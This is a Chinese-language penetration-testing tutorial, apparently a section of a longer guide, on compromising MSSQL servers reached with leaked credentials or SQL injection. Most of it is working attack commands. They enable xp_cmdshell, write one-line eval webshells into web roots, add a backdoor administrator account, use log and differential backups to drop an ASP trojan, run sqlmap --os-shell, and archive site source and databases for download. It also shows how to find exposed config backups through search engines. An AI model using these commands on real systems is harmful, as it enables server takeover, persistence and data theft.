4.4 使用sqlmap直连MSSQL获取webshell或权限
在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密码,而且含有对外可以访问的端口,或者可以通过代理的方式能够访问到端口,简单点理解就是可以通过公网直连MSSQL数据库,那么这个时候就可以根据具体情况获取webshell或系统权限
4.4.1 MSSQL数据获取webshell相关命令
- 数据库恢复xp_cmdshell存储过程、
(1) 判断xp_cmdshell是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
或者
if exists (SELECT null FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
begin
print N'当前数据库引擎存在xp_cmdshell'
end
(2) MSSQL 2000版本:
dbcc addextendedproc ("xp_cmdshell", "xplog70.dll") exec sp_addextendedproc xp_cmdshell, @dllname ='xplog70.dll'
(3) MSSQL 2005及以上版本:
xp_cmdshell是默认关闭的,因此需要手动开启,但是开启xp_cmdshell需要sa权限
依次的步骤如下:
允许修改高级参数
exec sp_configure 'show advanced options',1;
配置生效
RECONFIGURE;
开启xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
配置生效
RECONFIGURE;
可以一次性操作
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',1;RECONFIGURE;
关闭xp_cmdshell
开启高级选项
exec sp_configure 'show advanced options',1;
配置生效
RECONFIGURE;
关闭xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
配置生效
RECONFIGURE;
一次性操作
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;
- 手工注入写入shell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\WWW\bmfx.aspx'
- 反弹写入webshell
'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\WWW\bmfx.aspx'
这里的必要条件是必须知道网站的真实路径,可以通过访问网站文件出错来获取真实路径
- SQLTOOLS工具通过账户直接连接
(1) 恢复存储过程
(2) 通过文件管理查看文件及目录
(3) 获取网站的真实路径
(4) 写入shell
'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\WWW\bmfx.aspx'
- 知道sa账户和密码,直连后写入webshell或获取系统权限
sqlmap.py -d mssql://sa:sa@xxx.xxx.xxx.xxx:1433/master --os-shell
- 执行提权命令
;exec master..xp_cmdshell 'net user bmfx bmfx /add' 或者
;exec master.dbo.xp_cmdshell 'net user bmfx bmfx /add'
;exec master..xp_cmdshell 'net localgroup administrators bmfx /add' 或者
;exec master.dbo.xp_cmdshell 'net localgroup administrators bmfx /add'
exec master..xp_cmdshell 'whoami';
这里就是通过存储过程执行添加用户和密码 ,然后将添加的用户加入到管理员组
- 日志备份获取webshell
(1) log日志备份获取webshell
';alter database bmfxtest set RECOVERY FULL--
';use bmfxtest--
';create table cmd (a image)--
';backup log bmfxtest to disk = 'C:\dbbackup' with init--
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--
';backup log bmfxtest to disk = 'D:\wwwroot\bmfx.asp'--
';drop table cmd--
=====================================================================================
(2) 差异备份
sql注入执行sql语句
';drop table cmd--
';create table cmd (a image)--
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--
';execute sp_makewebtask @outputfile='D:\www\bmfx.asp', @query='select a from cmd'--
';exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)-- 这里括号里面是十六进制,可以通过Notepad++或者Burpsuite工具进行转换
执行sql语句
use bmfxtest
drop table test
create table cmd (a image)--
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--
execute sp_makewebtask @outputfile='C:\tools\erererbmfx.asp', @query='select a from cmd'
exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 这里括号里面是十六进制,可以通过Notepad++或者Burpsuite工具进行转换
上述测试有点问题,大家可以根据实际情况按照上面方式测试,下面有一种我测试成功,可以备份成本地文件
查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
将数据库备份至文件中
backup database bmfxtest to disk = 'C:\tools\2233.bak';
创建临时表
create table test (a image);
写入木马
insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);
重新备份,木马写入文件
backup database bmfxtest to disk = 'C:\tools\22332.asp' with differential,format;
- 手工注入获取webshell
(1) 注入点判断
' and 1=user;--
(2) 创建临时表
';CREATE TABLE TTBMFX_TMP (tmp1 varchar(8000));--
(3) 查询文件
for /r C:\ %i in (Newslist*.aspx) do @echo %i
或者
for /r C:\ %i in (Newslist.aspx*) do @echo %i
上面就是根据某一个文件名,然后通过通配符遍历出路径,下面就是实际带入到SQL注入中操作
';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r C:\ %i in (Newslist*.aspx) do @echo %i ';--
(4) 查看文件名称并获取真实的路径
' and 1=(select top 1 tmp1 from tt_tmp) and 'a'='a
' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('C:\inetpub\wwwroot\bmfx.aspx')) and 'a'='a
(5) 文件写入测试
';exec master..xp_cmdshell 'echo test > C:\tools\bmfx.txt';--
(6) 写入shell
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--
4.4.2 MSSQL数据库获取webshell思路和方法
在实际的环境中需要根据实际情况判断,所有都是以结果为导向,通过获取数据库获取所在的服务器系统权限或者是webshell权限
- 通过SQL查询分析器及SQL数据库客户端进行连接获取webshell及系统权限
(1) 连接数据库成功测试
(2) 看是不是存在xp_cmdshell,如果存在就恢复xp_cmdshell存储过程
(3) 执行命令
- 遍历C盘目录或者子目录及目录树结构
exec master.dbo.xp_dirtree 'C:\'
- 获取当前所有驱动器
exec master.dbo.xp_availablemedia;
- 获取子目录列表
exec master.dbo.xp_subdirs 'C:\';
- 查看文件的内容
exec master.dbo.xp_cmdshell 'type C:\wwwroot\web\web.config';
(4) 找到网站目录,通过执行命令查看网页相对应的名称和类型,获取网站的真实路径
(5) 压缩源代码及数据库
rar a -ep -p123 D:\1.rar D:\wwwroot // 压缩网站下所有数据,密码为123
rar a -ep -p123 D:\ebmfx.rar D:\database\ebmfx.bak //压缩数据库,密码为123
move D:\ebmfx.rar D:\wwwroot\bmfx.rar //将ebmfx.rar 移动到wwwroot目录下
http://www.xxx.com/bmfx.rar //通过浏览器在本地下载bmfx.rar
(6) 写入一句话后门
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--
(7) webshell提权
- 通过SQLTOOLS工具进行文件查看获取webshell
(1) 恢复存储过程
(2) 执行命令或查看磁盘文件目录及内容
(3) 后续步骤跟上面类似
- 使用sqlmap直连MSSQL获取webshell或权限
(1) 连接测试
sqlmap.py -d mssql://sa:sa@ip:1433/master
实际测试过程如下,有点小问题,报错过程有如下操作,但是还没有解决,想想在Windows环境下,有非常好的操作工具遍历,所以sqlmap就不折腾了
sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell
pip install pymssql
pip install pyodbc
apt-get install unixodbc -y
(2) 获取os-shell
sqlmap.py -d mssql://sa:sa@ip:1433/master --os-shell
(3) 在获取的shell中执行命令
- 查看CMS相关数据库,通过登录CMS来获取webshell
(1) 通过SQL查询分析器,SQLTOOLS,sqlmap获取CMS对应数据库
(2) 查看并获取后台管理员表数据
(3) 如果是加密数据,就进行解密
(4) 寻找CMS后台地址
(5) 登录CMS后台
(6) 寻找上传位置,尝试获取webshell
(7) 也可以通过log,差异备份的方法来获取webshell
4.4.3 sqlmap直连数据库获取webshell
- 直连数据库测试
sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master
- 获取os-shell
sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --os-shell
- 如果未获取系统权限
(1) 查看磁盘文件
dir C:\
(2) 获取网站所在目录为C:\www\phpstudypro\,写入一句话后门到此目录下面
echo ^<?php @eval ($_POST['bmfx']);?^>^ >C:\www\phpstudypro\bmfx.php
echo ^<?php @eval ($_POST['bmfx']);?^>^ > C:\tools\bmfx.php
(3) 查看写入内容 type C:\www\phpstudypro\bmfx.php
(4) 获取webshell
- 执行其他命令
sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --dbs
4.4.4 利用漏洞搜索引擎搜索目标
- 搜索网站备份文件
(1) 利用fofa网站搜索web.config.bak
(2) 利用shodan网站搜索web.config.bak
- 搜索其他关键字
www.rar, wwwroot.rar, wwwroot.zip, www.zip
4.4.5 构造SQL注入后门
- 构造SQL注入后门前提条件
通过前面的方法获取了目标站点的webshell,然后通过webshell在网站创建文件
- ASP+IIS+MSSQL站点构造SQL注入后门
(1) 不使用数据库连接文件
(2) 使用系统自带的连接文件
参考:
https://www.cnblogs.com/jerrylocker/p/10938899.html